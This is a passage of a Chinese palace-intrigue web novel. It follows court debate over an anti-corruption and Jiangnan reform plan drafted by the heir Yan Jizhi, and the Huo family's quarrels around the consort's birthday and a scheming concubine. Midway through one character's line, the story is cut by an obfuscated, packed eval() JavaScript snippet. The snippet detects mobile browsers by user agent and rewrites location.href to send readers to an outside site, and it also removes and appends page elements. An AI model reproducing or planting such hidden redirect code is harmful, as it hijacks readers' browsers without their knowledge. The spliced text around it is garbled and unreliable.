霍灵渠把自己的手抽回:“不用办了,让雄鹰带桑柔和小祐进宫来看看我就好。” 嬴忱璧沉吟稍许,端起茶盅抿口茶,同意道:“好,边境战火未休,贵妃不庆祝生辰也是体恤边境将士百姓的心意,朕会让丞相晓谕百官。” 霍灵渠张张唇想拦还是什么都没说,她看向眼前,四面围堵的禁锢感仿佛扑面而来。 皇帝没在长春宫用午膳就离开了,未时中,班丞相被传进宫。差不多同时候,在椒房殿前跪足两个时辰的霍秀仪罚跪结束由婢女扶回芷筠斋,一进屋她就大发雷霆。 将整间屋摔砸得满地碎片又把宫女太监们狠狠掐打个够,霍秀仪霍鹣娇吩咐备笔墨来,她要写信。信写好,她强令奴婢们不管用什么办法都必须把信送出去。 不是给穆国公而是送去懋郡公府交给她的姨娘,父亲不会对她千依百顺,她想要什么想做什么找她姨娘比找父亲穆国公有用得多,她的生母娉姨娘才把穆国公攒在手心里。 娉姨娘在天黑前收到信,对于她生的女儿在皇宫里竟然被这样欺负简直怒不可遏,怒得霍鸳娇说这个月就让父亲给霍鹣娇升到正四品都不能消怒,霍鸳娇担保会迫使穆国公这月就把妹妹晋位到正三品、给建威侯府个教训、再给他们送笔银两来才勉强安抚住生母。 同是飚怒,英王妃佟梦娴就没有娉姨娘的顺气:还能被安抚得住。 英王妃佟梦娴连日来大发脾气就没消停过,初一,晏霁之在深夜回府,她没等到;初二之后蔚然居对着王妃大门紧闭,这叫英王妃怎么忍?! 连着两夜在蔚然居前大闹不休,初四傍晚,英王妃刚闹上,英王晏墉带护卫来,将王妃禁足还把王妃从娘家带来的奴婢全部杖打五十大板。岚瑟居的奴婢,没得命令前谁敢放人出院门半步,打死不论,由此英王妃被禁足后又在她的院里日日闹腾不休。 怒火飙涨的架势简直没有能劝住的时候,一日更是不知传几趟要令世子即刻过来。 几缕星月银辉漏进草木间,夜色寂籁,英王府前院,英王的书房亮如白昼。 烛光摇曳,黑檀木书桌上摆着份奏疏,晏霁之刚草拟好的整饬江南贪腐和海禁的章程。英王晏墉皱眉盯视许久后仍摇头:“重拟份中规中矩的吧。” 这份章程草拟的要点:一、精简吏治,今全国一万八千多名官员,太宗皇帝时期全国不足万名官员反而朝堂更清明衙门办事更有成效,冗官已显。念及边境战事未休,朝堂不宜大动干戈,小抓贪腐、清除千名冗官,点到为止。 二,江南之难难在官商勾连而地方官员势力错综复杂扑朔迷离,可行分而化之法。自江南巡抚以下各州府县城官员有序调离本地乃至调出江南,砍断官商勾连再查当地商贾。 当此国家长久南北两线作战之机,以江淮繁华尽归国库解边境军饷之难,战事完结,朝廷再建江南繁华又有何难? 治贪腐清冗官以震慑,分化沿海州府官员以破击,重惩不法商贾,海禁可水到渠成也。 这样的章程拟得好吗?好啊,可任何事太精彩就不合适晏家呀。 晏霁之不疾不徐道:“皇帝要彻查昌隆侯府,会拦住太上皇调护国公回京的旨意。” “彻查昌隆侯府?”英王晏墉微愣,怀疑道:“圣人能让陛下查吗?” “朱家行事愈发肆无忌惮,皇帝怕蜀王到北境后压不住,会劝服圣人的。” “蜀王和郢国公还能压不住北境的局势吗?”晏墉不大相信。 “能不能压住都不重要了,重要的是皇帝已经拿定主意要查昌隆侯府。”晏霁之劝道:“彻查昌隆侯府朱家就是点火~药桶了,晏家再夹起尾巴做人都避不掉,爹,何必呢?” 英王晏墉沉默,晏霁之任由父亲沉默不催促,他捧着白瓷盅慢慢吃银耳红枣羹。 思量足足两刻钟,晏墉才做决断:“就用这份章程吧,你到江南后尽量别出风头。” 晏霁之答应得很好毕竟尽量嘛,他又没闲得慌,把他拟的章程收回来,再道:“下月,佟婃兮嫁进李家就满三年了,三年没怀过胎,李家有足够的理由休掉她了。” “什么意思?”晏墉没理解其意,晏霁之弯弯唇笑:“最近朝中有参滁州府尹贪赃枉法,滁州是佟尚书的老家,佟家和钟家在滁州被誉为佟半城钟半城,换个廉正强势的府尹能把佟家钟家掀翻。且,若是滁州府尹清缴这两家,皇帝应该会趁势清算强抢后位的账。 李家休掉佟婃兮前定会派人来知会我们和霍家,您就和二姨夫聊聊,使人去给李家提个醒,山西巡抚定然乐意。摆在眼前的横财不拿白不拿,咱们不沾手让李家送来吧,山西巡抚还要亲自上疏参佟梦骜在淄州私挖铜矿,这死仇还能逃得掉?” 英王爷直接就同意:“好!” 夜渐深邃,晏霁之走出书房,在院外遇到岚瑟居的丫鬟,他没理,提灯笼的小厮拦下;丫鬟珊瑚都没纠缠,就没想过能请到世子,坐在石头上发呆都比回去被破骂强。 94. 第94章 一早,晏霁之带着他草拟的整饬江南贪腐和海禁的章程进皇宫见皇帝。 皇帝嬴忱璧阅后赞:“晏卿不愧乃我辈惊艳之人,这份章程真是令朕拍案叫绝。” 晏霁之低眉顺眼:“陛下谬赞,臣愧不敢当。” 嬴忱璧笑:“你知道问题在哪里吧?” 晏霁之没有说话,嬴忱璧走下玉阶,道:“你知道,你当然知道,这章程最大的问题是拟此章程之人着眼真大,这是真正做大事的人,霍海啸不是拟不出来而是不会想如此转变,这不是将才甚至不是帅才能匹配,朕真怕将来以相位配你都委屈晏卿了。” “陛下谬赞。”晏霁之中规中矩道:“臣将来居吏部侍郎位,已足。” “晏卿还是对朕有怨啊。”嬴忱璧故意拉长尾音,晏霁之只得回怼:“臣记得贵妃曾言,二十年前同在拙曜堂读书的孩童们,谁和谁又不是童年相交的情谊? 二十年如在弹指间,或许我们都快忘了,霍海啸和侯瞻让是魏王的伴读,臣和嬴天漾是陛下六弟的伴读,代王世子和护国公世子是陛下您的伴读。”他眼含笑,唇畔溢出丝玩味:“陛下可还记得如今在北疆抗击外敌的童年伴读?” 嬴忱璧平静对视:“你向贵妃打探过原小将军和他未婚妻是何等情投意合了吧?” 晏霁之坦荡:“是小孩过家家,贵妃的喜欢还停留在五六岁连七岁都还没到,她压根儿不懂情爱,原牧炽大概也是这么个德行,他俩的喜欢很符合他们的风格。” 嬴忱璧:“……”皇帝他默下还是反驳:“贵妃明天就满二十五岁了,不至于吧。” “陛下和贵妃谈过她对喜欢的理解了吧。”晏霁之问:“您觉得那是几岁小孩的喜欢?” 呃?嬴忱璧真琢磨下后意识到自己的幼稚,皇帝无缝隙切换:“晏卿能告诉朕,你欲抓贪腐的用意吗?以清冗官来做铺垫已够,为何还要抓贪腐?” “现在的吏部左侍郎是陛下的生母的亲爹,虽然今年底他到致仕的年纪了,但臣敢放言忠毅伯决计不肯致仕。”晏霁之莞尔:“陛下看太上皇对外祖家多好,忠毅伯府眼巴巴怨着您对他家不好对生母不孝更不懂学父亲,不定哪日怨怼就成恨了。” 晏霁之道:“陛下维护,臣自然奈何不得,臣建议抓贪腐就是冲着忠毅伯府。” 嬴忱璧隐有怒意:“晏卿莫非是想说,忠毅伯府可能会成为第二个昌隆侯府?” “是!”晏霁之傲然昂首:“臣不敢断言昌隆侯府的心会有多大,按朱家忠诚来算,臣敢放言,忠毅伯的向往必定是做第二个昌隆侯府,想皇帝对他家不会有任何辖制,想皇帝对他们有无尽恩宠,想他家想做什么都行,想大张旗鼓私自挖金矿就挖金矿。” 君臣两人视线交锋半响,皇帝嬴忱璧率先收起威势:“朕前日收到份禀报,小朱太妃扬言她父亲若是回京,相位都只有任其挑选的份儿。相比起来,姑苏府尹将上百斤本该进贡的碧螺春转送给昌隆侯府还真就不是事儿了。” 晏霁之眼神闪闪,皇帝凤眸幽幽:“你说,昌隆侯会否真有不臣之心?” “昌隆侯今年将满五十岁,若他自信能活到七老八十,他还有二十多年。” “二十多年?”嬴忱璧怒而甩袖:“再过二十多年,你我都是五十多岁的老头了。” “圣人对昌隆侯府宽纵,还不到二十年。”晏霁之话落,嬴忱璧倏然凶狠瞪向他,他感慨笑:“在前天以前,谁告诉我,霍灵渠不在意至亲们悲痛欲绝,我都不会相信。 霍家,老穆国公霍擎、穆国公、霍太后、霍漓江、霍海啸、霍灵渠,各个都是狠角色,假若霍海啸是英王世子,佟梦娴十几年前就坟头长草了吧。” 像有凉风灌入将刚燃起的火苗熄灭更令浮躁的心骤然冷下平和,嬴忱璧静默稍许后问:“晏卿和湘王妃是表兄妹吧,霁之的祖母是湘王妃的嫡亲姑祖母。” 晏霁之应是,嬴忱璧默许道:“贵妃生辰,八弟妹若想给贵妃送份生辰礼,无妨。” “臣代表妹谢陛下恩典,流光在时从不过生辰,湘王妃不懂该给贵妃送什么生辰礼。” “也罢!”嬴忱璧不再多言,往殿外走,去太微宫。 日头渐高,皇帝的銮驾驶过宽阔官道倾轧了几株青草,在彩蝶翩翩中驶入太微宫。 敞亮大殿内氛围渐渐凝固,盖因皇帝将章程呈给父皇之后太上皇许久没表态。太上皇不喜这份方案吗?不是,甚至他阅览时还有眼前一亮的欣喜,但这方案是裹着刺的蜜浆,专会挠他的痒痒,既甚有诱惑又藏着尖刺让他想接下就会被刺痛又难以舍掉。 “皇帝就同意了?”肯定的语调,太上皇问:“皇儿不觉得这方案波及得太大了吗?” “父皇,全国十三座行省,每座行省肃清七十名冗官就有九百余人了。”正徽帝嬴忱璧不以为然:“朝堂中再肃清批,小打小闹的还能闹出什么大乱不成?” “清除千名官吏叫小打小闹吗?西南的叛乱去年才刚平定啊,皇帝!”太上皇生气斥,嬴忱璧不赞同:“父皇,全国一万八千多名官员,清除千名吃闲饭的能闹出什么事来?” “能再闹出场叛乱来,能闹得南北边境战事都再生变数!”太上皇愤然将章程摔在桌,重训皇帝轻狂气盛:“授康二十四年西南叛乱,授康二十五年契丹南下,授康二十七年交趾进犯,耗八年才将西南叛乱平定,皇帝真想让南北前线的战事耗上十几年吗?” 嬴忱璧站起来,没有退让之意:“父皇言重,西南小小场叛乱都要耗八年平定,因何故,父皇您很清楚是朝廷养着批蛀虫,这批蛀虫必须得清除,总归是宜早不宜迟。” 太上皇霎时就觉得这皇帝儿子含沙射影是在指向昌隆侯府甚至是在指摘他,本来只有点点星苗的怒立时被激得烧起来:“好,皇儿就告诉父皇,蛀虫在哪儿?” 正徽帝嬴忱璧顶着老爹的暴怒豪爽地把爱卿往前推:“晏卿,你来告诉圣人吧。” 晏霁之腹诽过皇帝,上前步,仿佛没有察觉出太上皇和皇帝之间的剑拔弩张,含笑道:“圣人,陛下,繁盛几百年历经多个王朝的世家们向来是皇朝心病,太宗皇帝雄才伟略尚且在位时都始终未开科举,可不就是担心重蹈前朝覆辙。 去年立国百年,今年是国朝立国第一百零一年,朝廷放开科举的第六十一年。臣斗胆,比起寒门进士,世家出身的儿郎的确更优秀,且科举进士也容易陷入千人一面之象。世家若不压制任其滋长恐出祸乱,但只要能用得好又何尝不是利国利民的善举?” 嬴忱璧和他太上皇爹愣是同时冷静,父子俩对视眼,皇帝探究:“莫非,晏卿认为可用这些个繁盛几百年的老世家来平息这回清除冗官整治贪腐的小动荡?” “是!”晏霁之笑意湛湛,灿然华彩风流仿佛有诱惑的漩涡能将人吸入:“圣人,陛下,朝堂要人才要大量能办事会办事的人才,人才培养又极其耗时耗力。 全国虽然已经书院遍地,大量珍贵典籍到底还鲜少面世,想让老世家们将藏书献出来不是十年八载乃至一两代人能够达到,但慢慢做总会有成效。眼下,臣以为治贪腐,清冗官,许以遏住老世家们的颓势,可以谈交换。” 正徽帝嬴忱璧凝视他片刻后坐下,皇帝黯然自嘲,到底还是他低看晏霁之。 “好!”太上皇总归高兴居多,毕竟这相当于给他把这份蜜浆里的刺拔掉又给他奉个意外之喜再拔掉根刺,他欣慰道:“好啊,霁儿年纪轻轻就有此胆识谋略,不愧于寡人的重望,你姑母和你祖父甚至是你曾祖父在天有灵都能含笑九泉了。” “都是姑父您栽培得好。”晏霁之自然答,太上皇满意点头,问:“皇帝意下如何?” 嬴忱璧同样表现高兴:“甚好,父皇,孩儿也觉得霁之的想法甚好,就这么办吧。” 太上皇嗯声,再提第二点:“还有整饬江南,皇帝真不忧可能会废掉江南的繁华?” “父皇,国家在打仗,国家南北两线作战都已持续几年了,可江南奢靡贪腐之风甚重,以江南之奢靡偿边境将士之苦宽朝廷之艰岂会有不值之理?”嬴忱璧殷殷劝道:“父皇,南北边境的战事两三年内必然都能见分晓,当前动江南是最好的时机。” 太上皇沉吟片刻,同意了,的确是,哪怕废掉江南的繁华又算什么,将来重建又有何难?吩咐传丞相和两位副相及吏部尚书来,转念想又把英王和穆国公都叫上。 六位重臣前后脚到来,人到齐,晏霁之把他拟的章程递给他们再转述两位至尊的意思。 穆国公霍秦川首当其冲像活见鬼般盯着这小辈。英王晏墉想后悔,昨晚他怎么就被蛊惑得没拦呢?!班丞相捧着这份章程想哭,天爷啊,他把英王世子可能会推出的种种谋划都预想遍了居然都没防范到。 “圣人、陛下,前线战事未休,此举波及甚大恐怕不妥。”晏副相率先表态不赞成。 皇帝点名让他们叔祖孙谈,晏霁之反驳道:“副相,前线战事虽未休但战局已能预判,两三年内必能见胜利在望,这才是朝廷出手的最佳时机。肃贪腐、清冗官、治江南、海禁,桩桩件件都会引起不小的风波,只有边境战火未停时朝廷才能收尽民心大义。” 班丞相神情微变,倘若这桩桩大事在他的宰执任内办下来?房副相忍不住在心中感叹,这样的年轻人,若是对上个优柔仁弱的君王,晏家恐怕都能再出位权臣了。 晏副相向君王颔首没再提异议,嬴忱璧道:“父皇,孩儿想,不如就让丞相和薄尚书、两位副相、英王和穆国公俩俩协作各拟出份具体可行的方案,三份方案交上来对比着看,各取优处,再让丞相他们整合出一份完善的章程来实施,您觉得呢?” 太上皇允了:“好,皇帝言之有理,十日内,丞相你们就出三份具体规划交上来吧。” 六位大臣异口同声遵旨意,晏霁之再禀件小事:“圣人、陛下,镇南侯有禀奏,因是件小事,他便不上奏了,只让臣帮他传个话。镇南侯想给贵妃送份礼庆贵妃晋封贺贵妃生辰,贵妃生辰当日是赶不及了,圣人和陛下若能允准,五月能够送至。” 嬴忱璧腹诽晏霁之故意选在太上皇面前禀告是觉着他小心眼防范他不同意吗? 太上皇问镇南侯怎会想给贵妃送礼?晏霁之笑答:“圣人,镇南侯和贵妃童年相交场,如今故人归来,镇南侯也甚是替贵妃高兴。他还琢磨送什么礼物好呢,写信问臣,若是他送两只孔雀,贵妃会不会骂他,送不起凤凰就不要送?” 凤凰的喻指就太明显了!莫非镇南侯支持贵妃登顶?几位大人各有计较但都没异样。 太上皇没在意:“阿漾有心了,皇帝,镇南侯想给贵妃送礼也是番心意,让他送吧。” 嬴忱璧应是,午膳将至,太上皇心情不错地留他们在太微宫用午膳顺带看场歌舞。 看场歌舞,穆国公霍秦川对于即将到来的他将会比陀螺还忙的郁闷总算缓和点。 宴饮毕,皇帝率众向太上皇告退,他们再恭送陛下起驾回皇宫,然后,大家慢慢溜达。行至半路时霍秦川遭遇拦路,他对被拦路没意见,有意见的是边上有群看热闹的。 晌午前,霍鸳娇带着弟弟去找父亲,没等到。用过午膳后再去,左等右等还等不到父亲回衙门,霍鸳娇只得寻过来,在官道上相遇,见到人,她就把要求甩下:这个月给霍鹣娇升到正三品、给建威侯府个教训、给他们四人各送一万两白银。 霍鸳娇站在马车上,神态倨傲地对视父亲,她当然敢倨傲,这爹根本离不开她的生母:“父亲什么时候把姨娘的要求做到什么时候再来接吧,不然您就不用来接姨娘了!” 霍鸳娇撂下话就带弟弟走,留下被拦住路的七人呆愣片刻才有反应,霍秦川幽幽转向这群人很想把他们灭口,班丞相受不了:“穆国公,你还真想去接您家那位姨娘啊?” “大概是的。”晏霁之凉凉道:“否则穆国公还能任由这姐弟踩到他头上吗?” “霍秦川,你到底看中这个都爬到你头顶作威作福的小妾什么呀?”英王真搞不懂。 “根据霍灵渠和霍海啸的答案,据说是娉姨娘够蠢,拿来逗闷很不错。”晏霁之抢答。 都已年过半百的五位大人神情各异地瞟向他,霍秦川甩鞭跑马走人,不跟他们同行了。 至于他是否要去愗郡公府接娉姨娘?他当然要去,戏都排演好了还能让这戏白瞎掉吗,他要是不登场还怎么开演这场让他想想就能乐得开怀大笑的精彩好戏啊。 是故,休沐日的清早,霍秦川他就精神抖擞得顶着霍雄鹰的狂飙跑去愗郡公府了。 啊啊啊啊啊!!霍雄鹰抓狂地简直差点就想跟着去愗郡公府把娉姨娘和霍鸳娇姐弟捏扁,若非今日还是他贵妃姐姐的生辰,他得进宫祝寿,他绝对不能就这么轻易罢休! 京城的好事者们都看服了,穆国公夫人亲自出面都没请动那位娉姨娘,谁都看得明白人家的意图,而霍秦川会否亲自出面?大多数看热闹的看客们都觉得这总不可能。结果城里的赌局还没开,穆国公居然就屁颠颠上门了,还真是活该被宠妾捏得死死的。 当然活该!霍舒窈回娘家接到这个让她怒得头顶冒烟的消息,直想把娉姨娘剁碎。 “霍秦川他真不想要脸了是吧?贵妃侄女的生辰,他非但什么表示都没有,居然还能屁颠颠跑去接娉姨娘,他到底想给谁没脸想打谁的脸呢?行,行啊!他有种,真有他的,他能做得出这种没脸没皮的事就别怪我踩死他,反正都是他自己活该自找的!” 老夫人的正院堂屋里,霍老夫人大清早被霍雄鹰闹得脑仁疼,不想再看大孙女飚怒了。因此堂屋中唯有霍枫叶做长辈的代表,霍巨浪夫妇和霍三少奶奶还有霍蓁蓁陪着。 两位少奶奶欲宽慰时,不请自来纯属过来看热闹的霍蓁蓁抢在前讥笑:“大姐,你还能怎样踩死大伯,你们不是都说霍家现在是由穆国公他霍秦川当家作主吗?” 霍舒窈眼风扫过她,原本没想搭理,恍惚间意识到:“二叔不进宫给贵妃贺寿吗?” “是呀,亏得我和我娘同我哥都打算带着灿哥儿进宫想给大姑母瞧瞧,哪想到,我爹都没把贵妃的生辰当回事儿,府里也是什么都没有准备。” 霍蓁蓁按着座椅的扶手轻盈而懒散站起,可怜道:“真寒碜呀,咱家再卑微的庶女过生辰时都能得府里封二十两白银添喜庆,大堂姐你就帮我给贵妃送二十两白银吧,我今儿还要和我娘我哥回外祖家,一会儿就出门了,改明儿我再把银钱还给你。” “慢着!”霍舒窈看她这欠扁的德行真是想踹她两脚,耐住脾气问:“昨儿个,礼部把京畿秀女的名单呈给陛下过目,有消息传出来,说你在秀女名单上,真的假的?” “贵妃能抵什么用,霍家的荣耀最终还是要靠我的。”霍蓁蓁神采洋溢,还青涩的小脸依稀能窥见将来会出落的美艳:“待我登上凤座,我定会记得那些挡我路的绊脚石。” 霍枫叶很平淡,霍巨浪垂眸沉默,两位少奶奶似已习惯,霍舒窈被气笑了:“登凤座?蓁蓁,你参加选秀是家里同意还是你们母女自作主张?是,礼部尚书是你的外祖父,把你的名字添在选秀名单上很容易,可你难道认为你参加了选秀就能万事大吉吗?” 霍蓁蓁斜她眼,轻蔑道:“用不着你来教我,当我没你们这家人就会不行了吗?” “又是想让晏霁之帮你们谋划?他若不肯就拿他的亲事要挟?”霍舒窈猜都猜出来了:“你的良心就过意得去吗,蓁蓁,你还不到十五岁呀。” 霍蓁蓁抿抿唇,就觉得她的好心情全没了,不想受这种谴责地反呛:“大堂姐怎么不问问你爹和你大哥坏我前程时的良心过意得去吗?你装什么好人,晏霁之是我表哥,帮我是他义不容辞的事,若是他想挡着我不让我有个好前程又对得起我吗?” 沉默的四人仍然保持沉默,哪怕霍巨浪都似乎已经厌倦再费唇舌辩驳。 霍舒窈抬手按按怀着胎的小腹让自己冷静下来,既讽刺又想试图再教教:“义不容辞,义不容辞什么意思啊?天下哪来的道理,表哥不为你奔走居然能变成对不起你? 佟家这样教你,你就相信了?佟妙兮要选秀的吧,淑德贤三妃,淑妃的排名在德妃前,你原想争做淑妃吧,但你外祖家是不是教你,咱们姑母当年可是从霍德妃做到皇后,霍德妃的寓意好,你应该争做德妃、由佟妙兮来做淑妃?” “是又怎样?!”霍蓁蓁语气很冲,就觉得那话刺耳让她不舒服:“你用不着挑拨离间,我外祖家有私心也比你们好得多,就算我不相信佟家,我更不会相信你们大房。” 霍巨浪捏捏眉心闭眼,霍舒窈趁势猛进:“是我挑拨离间还是佟家想装都藏不住,佟家连淑妃位德妃位这点排名差别都要争,皇后的位置还能不妄想? 你真不知道还是装不知啊,你外祖家的私心可是妄想踩着你和霍家往上爬!我和霍秦川霍海啸霍巨浪整个霍家嫡长房有谁想过要害死你吗,霍蓁蓁你到底长不长脑? 难道佟家教你:表哥帮你是义不容辞,表姐帮你也是义不容辞,他们佟家连同英王妃和晏霁之生来就是为了给你霍蓁蓁鞠躬尽瘁死而后已这种鬼话你也信吗?” “对,就是这样!”堂姐犀利的言辞逼得霍蓁蓁几近想哭,只能用咆哮才能稳住自己把眼泪逼回去:“我生来就是做皇后的命,谁想挡着我就是没良心对不起我,我外祖家、我所有的亲友为我争后位为我做事就是天经地义他们义不容辞的事!” 霍蓁蓁飚下话就往外跑,霍舒窈被气得哆嗦:“疯了,肖想着后位真是要疯魔了。” 霍三奶奶扶着大姑姐给她抚背顺气,霍二奶奶唏嘘:“其实蓁蓁的秉性不算坏,可有她娘和她外祖家在,注定要毁掉她,霍家想板正她都不可能,如今更是来不及了。” “晏霁之没长歪真是不容易。”霍舒窈坐下来喝杯茶,霍巨浪缓和过来,提醒:“他是养在祖父祖母膝下,他是嫡长孙,就算他娘是个好的,已故的老英王也会接过嫡长孙的教育,咱家大哥难道是母亲教养长大的吗,还不是老太爷手把手教大的。” 好吧!霍舒窈愣下又想到:“哎,祖父怎么没把霍振羽接过去教养?我记得,晏煦之和晏霁之都是养在他们祖父祖母膝下长大的呀,对比到咱们家,霍振羽是二叔的嫡长子,这毕竟也占着嫡长二字嘛,祖父越过二哥你把霍振羽接过去教养也能说得通嘛。” 霍巨浪煞有其事数落她:“霍舒窈你这话说的,你把霍灵渠置于何地呀?” 霍舒窈被噎噎,真想白这哥两眼。霍三少奶奶惊讶:“贵妃幼年养在老太爷膝下?” “当然啦,霍家的掌珠,难道是随便传着玩得吗?”霍舒窈哼哼:“霍家现在曾孙辈的姑娘里数大哥的嫡长女霍未央最尊贵,但霍未央的待遇跟当年霍灵渠的待遇完全没得比,霍灵渠能骑到霍秦川的头顶甚至能骑在老太爷的头顶,霍海啸都没得比。” 霍舒窈着重申 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459286|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明:“要不是看在霍海啸都比不过她,我能轻易跟她霍灵渠罢休吗?” 嫁进霍家做媳妇的两位少奶奶互相看看,自然猜大伯子和贵妃的堂兄妹关系不怎么样,都有点接不住这话,霍二奶奶桓炜若打圆场道:“话说回来,四堂弟是可惜了,倘若他没被二婶和佟家养歪,今时他对母亲和妹妹好歹能有辖制也不至于把他们的路越走越偏。” “你确定?”霍巨浪嘲笑他媳妇:“看看晏霁之和英王妃都闹成什么样了,我们看来都觉得这亲娘根本不在意亲儿子的死活,没把这亲骨肉害死都是因为这儿子活着对她还有用。假若换成霍振羽和他娘,霍振羽还能辖制得了他娘吗?” 桓炜若被噎得无言以对,霍舒窈真嫌恶:“真是恶心得人够了,祖父和晏家怎么就不想把佟家支走呀,佟家不在京畿,英王妃仨姐妹也能少受很多娘家的影响。” “支不走。”霍枫叶肯定道:“以佟家对出嫁女的掌控,佟家若不在京畿,佟家的姑奶奶定会无休止地闹腾夫家必要让夫家想办法把她们父亲调进京来做京官。” “天爷啊!”霍舒窈没被牵涉都觉得想想这种死缠法就受不了,霍枫叶推测:“老太爷应该是心凉才没接过霍振羽的教育。晏家,已故的老英王妃在世时曾对长媳教导过将近十年,哪想近十年都只落得场空;咱家,老太太对二儿媳妇也教导过三四年。” “根本没用!”霍枫叶将讽刺冷意藏在眼底而语调很平淡:“谁能不寒心,既然佟家想把外嫁的姑奶奶和外孙们毁掉,咱外姓人非得管佟家人的死活作甚?” “是这个理儿。”霍舒窈没啥不认同的:“霍雄鹰人呢,还有霍桑柔,在屋里磨蹭什么啊还磨蹭;还有二哥二嫂你们真的不去吗,就我们几个是不是太寒碜了?” “犯不着在意这个。”霍巨浪道:“贵妃过生辰自然按贵妃心意,何况陛下都发话了。” “四弟妹今早有拿份礼过来让我们代她送给贵妃。”霍三奶奶低眸感触:“没说是二房的心意或者他们夫妻俩的心意,这样算,就真的只是她这位弟媳妇独自送给大姑姐了。” “霍振羽这媳妇人挺不错的,我都觉得这四弟妹配霍振羽可惜了。”霍舒窈随口应声,往堂屋外瞧眼,悄咪咪问:“班丞相不是通知大家,陛下交代,贵妃生辰从简,哎呀就是什么都不办更不要送礼,扯的还是贵妃顾念前线战事未休体恤边境将士这种理由。 萧家就猜陛下用的这理由还是让班丞相出面来交代大家而不是霍家出面……太悬乎了。”她真有微微的忐忑啊:“大前天、大前天陛下的那两道旨意真能当真吗?” “不知道。”霍巨浪答,霍舒窈立时谴责:“霍巨浪,你就不能给我个表态吗?” “是真的估不出来,老太爷都拿不准。”霍枫叶解释道:“三天前毕竟贵妃闹得太大了,陛下得给出明确包容的态度才能将所有对贵妃和霍家不好的流言压住。” “行吧,哎不对,陛下那么两道旨意都出来了!”霍舒窈狐疑:“霍蓁蓁还能做梦?” “他们三个不知道,连陛下交代该如何给贵妃庆贺生辰的旨意都不知。”霍枫叶估量:“是班丞相故意漏掉佟家还是佟家没告诉他们三个就不知道了。” 霍舒窈便再有个问题:“小叔,班丞相做什么想故意漏掉佟家?” 霍枫叶冷嗤:“强抢后位的账!蓁蓁母女非闹着想强抢后位可是被佟家蛊惑起来的,何况佟家又闹腾不休想争贵妃位想争淑妃位,一品妃位,是佟家看中就能想要的吗,佟家眼中还有陛下吗?佟家这样撒野,陛下若再不整治,君威何在?” “这倒是,就佟老太太那股闹腾劲儿活像嫔妃的位置都是随他家买的,她想要就能要,那德行是真就没把皇帝当回事儿。”霍舒窈吐槽着想起来:“哦对了,咱家也有这样的货色,昨天晏霁之送了张纸条给我,霍鸳娇昨儿个午后还去找霍秦川了。 在官道上把人拦着的还是当着班丞相他们六个外人的面,她要求,这个月给霍鹣娇升到正三品、给建威侯府个教训、给他们送四万两白银,霍秦川什么时候做到什么时候去接人,否则就不用去接娉姨娘了。结果,霍秦川他居然今早就能屁颠屁颠地就去了!” 两位少奶奶不好议论公爹内宅中事,皆保持禁声,霍巨浪头疼,霍枫叶宽解:“大哥应该就是想把人接回来,大嫂到底不好强行接,大哥把人接回来后再管教吧。” 霍舒窈就觉得这小叔是在拿她当傻瓜:“霍秦川还能强行接得回来?” “把娉姨娘和超群打昏,让愗郡公夫人拦住霍鸳娇就行了。”霍枫叶说,霍舒窈郁闷地换个话题:“霍雄鹰和霍桑柔人呢,他们两个到底在磨蹭个什么劲儿啊?” “霍雄鹰在沐浴。”霍巨浪嫌弃道:“大清早上房揭瓦不成,转去跑马打拳发泄了,发泄完弄得浑身臭汗后才知道顶着身臭汗进宫见贵妃不行。霍桑柔在挑礼物,她备了一大堆东西想送给姐姐,家里告诉她只能带一样,她闹半天拗不过后还在选只带哪样好。” 霍舒窈真没好气:“磨蹭死他们算了!” 霍桑柔还是比堂兄有点时间观念赶在了辰时六刻出现,当霍雄鹰姗姗来迟还捯饬得花里胡哨像花蝴蝶似的,霍舒窈真是不得不数落他:“你进宫祝寿还是去相看,什么时辰了,霍秦川出门快有个把时辰了,我们居然还连霍家的门槛都没迈出去,你好意思吗?” “都是爹害得!” 霍雄鹰振振有词,但他不敢像老姐那样直呼亲爹的大名因为会被揍,他愤愤恨恨道:“我看爹就是故意选在今天跑愗郡公府接人,好防止我阻拦他。” “行了,进宫去吧。”霍巨浪嫌道:“再磨蹭,你们到长春宫就能用午膳了。” 霍雄鹰愤愤瞪瞪这二哥,转身昂首阔步走在最前;霍舒窈深呼吸,率弟媳堂妹跟上。 结果好死不死的,眼睛暂时移到头顶的霍雄鹰在迈出府门的高门槛时差点和来人撞到,他刚想对骂走路不长眼时发现这货是他亲爹,他愣下,还没反应,这爹就进府去了? 他爹脸色怎么好像很差,还有娉姨娘和霍超群怎么没见人影?霍雄鹰脑门冒出串问号,霍舒窈已经逮着跟着穆国公回来的长随问情况了,四十多岁的长随不白的老脸都要羞红了:“大姑奶奶呀,娉姨娘、娉姨娘她……哎呀老奴没脸说,您就放过老奴吧。” “什么有脸没脸,你就说嘛,诚心挠我的好奇心是吧?” “啊呀,大姑奶奶啊!娉姨娘她——”老长随真难以启齿:“娉姨娘她、她……她居然在和愗郡公鬼混,国公爷走到屋前发现不对劲,破门而入,把那两人给抓了个正着。” 霍舒窈&霍桑柔&霍雄鹰夫妇&霍枫叶:“……”…………不可能吧?? 单纯的小祐娃娃仰头,奇怪这些大人怎么都在发呆?长随羞愤地跺跺脚疾步进府里去,被惊吓懵掉的五人方才逐渐回过神,霍舒窈朴实地怀疑:“娉姨娘有那么饥渴吗?” 霍雄鹰耳朵红了,霍枫叶被噎得险些想闭眼,霍桑柔晕晕傻傻配合:“说不定有可能,人家不是说三十如狼四十如虎吗,这个什么姨娘是不是四十来岁的年纪呀?” 武将家出来的霍三奶奶都要被大姑姐小姑子弄得羞臊脸红了,霍雄鹰还没恢复,霍枫叶个童子身还在的大老爷们深呼吸,霍舒窈真答了:“很快就要满四十二岁了。” “好了,舒窈!”霍枫叶紧急喝住她们这些乱七八糟的想法,交代道:“娉姨娘这个事十成十是被算计的,咱家要被闹翻了,二姑奶奶应该很快就会赶回来——” 